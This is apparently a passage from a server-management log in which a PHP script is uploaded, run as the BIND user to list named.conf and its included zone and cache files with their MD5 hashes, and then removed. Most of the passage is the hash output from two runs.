MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-20 18:37:45: Establishing a connection
2026-04-20 18:37:45: 

PUT: /tmp/pkp983442

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-20 18:37:45: 

runuser -l bind -s /bin/bash -c '/tmp/pkp983442; rm /tmp/pkp983442'

2026-04-20 18:37:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-20 18:37:48: Establishing a connection
2026-04-20 18:37:49: 

PUT: /tmp/pkp710949

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-20 18:37:49: 

runuser -l bind -s /bin/bash -c '/tmp/pkp710949; rm /tmp/pkp710949'

2026-04-20 18:37:49: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
